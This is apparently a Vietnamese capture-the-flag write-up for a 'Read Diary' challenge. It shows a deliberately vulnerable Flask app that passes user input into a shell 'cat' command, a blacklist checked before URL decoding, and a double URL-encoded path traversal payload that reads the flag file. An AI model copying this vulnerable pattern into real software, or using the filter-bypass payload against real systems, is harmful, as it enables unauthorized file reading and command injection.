Description

RecruitCTF - Read Diary

Approach

Trang web cho phép nhập tên của nhật ký bất kỳ để xem nội dung:

Trong trường hợp nhập một tên không tồn tại (chẳng hạn diary101) thì response sẽ không có giá trị và trang web sẽ hiển thị thông báo “Wrong name”:

Dockerfile:

FROM python:3.10
 
WORKDIR /app
 
COPY src/ .
 
RUN chmod -R 555 /app
 
RUN mkdir /diary
 
RUN for i in $(seq 1 100); do \
    echo "Welcome to my channel. This is my diary for day $i of 2023." > /diary/diary$i.txt; \
    chmod 444 /diary/diary$i.txt; \
done
 
RUN echo "BPCTF{fake-fl4g!}" > /flag.txt
RUN chmod 444 /flag.txt
 
RUN chmod 555 /diary
 
RUN pip install --upgrade pip
RUN pip install flask
 
# Set the PORT environment variable
ENV PORT=12342
 
# Make port 12342 available to the world outside this container
EXPOSE 12342
 
RUN /usr/sbin/useradd --no-create-home -u 1000 ctf
USER ctf
 
 
CMD ["python3", "app.py"]

Có thể thấy, container tạo ra 100 file diary ở trong thư mục /diaryflag.txt ở thư mục /.

Mã nguồn của server:

from flask import Flask, render_template, request
from urllib.parse import unquote
import subprocess
import os
 
app = Flask(__name__)
port = int(os.environ.get('PORT', 12342))
 
def is_valid_name(name):
    blacklist = [".", "/", "flag", ";"]
    for c in blacklist:
        if c in name:
            return False
    return True
 
@app.route('/')
@app.route('/index.html')
def index():
    return render_template('index.html')
 
@app.route('/read.html', methods=['GET'])
@app.route('/read', methods=['GET'])
def read():
    name = request.args.get('name')
    if not name:
        return render_template('read.html')
    
    if not is_valid_name(name):
        return render_template("warning.html")
    
    name = unquote(name)
    
    command = "cat /diary/" + name + ".txt"
 
    response = subprocess.run(command, shell=True, capture_output=True)
    return render_template('read.html', name=name, content=response.stdout.decode('utf-8'))
        
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=port)

Giá trị của tham số name sẽ được dùng để build câu lệnh. Câu lệnh mà ta cần thực hiện là:

cat /diary/../flag.txt

Payload sẽ là ../flag. Nhập payload này tất nhiên là không được vì có một blacklist để lọc ra các giá trị truyền vào: blacklist = [".", "/", "flag", ";"].

Để ý rằng chương trình có gọi hàm unquote cho biến name. Biến này sẽ URL decode cho giá trị gửi lên server. Thử URL encode payload:

%2E%2E%2F%66%6C%61%67

Request gửi lên có dạng như sau:

GET /read.html?name=%252E%252E%252F%2566%256C%2561%2567 HTTP/1.1

Chú ý rằng ký tự % cũng được URL encode thành %25.

Kết quả là trang web in ra cờ.

Flag

Success

BPCTF{Th1s_1s_URL_3nc0d1ng_7d647f5ead82}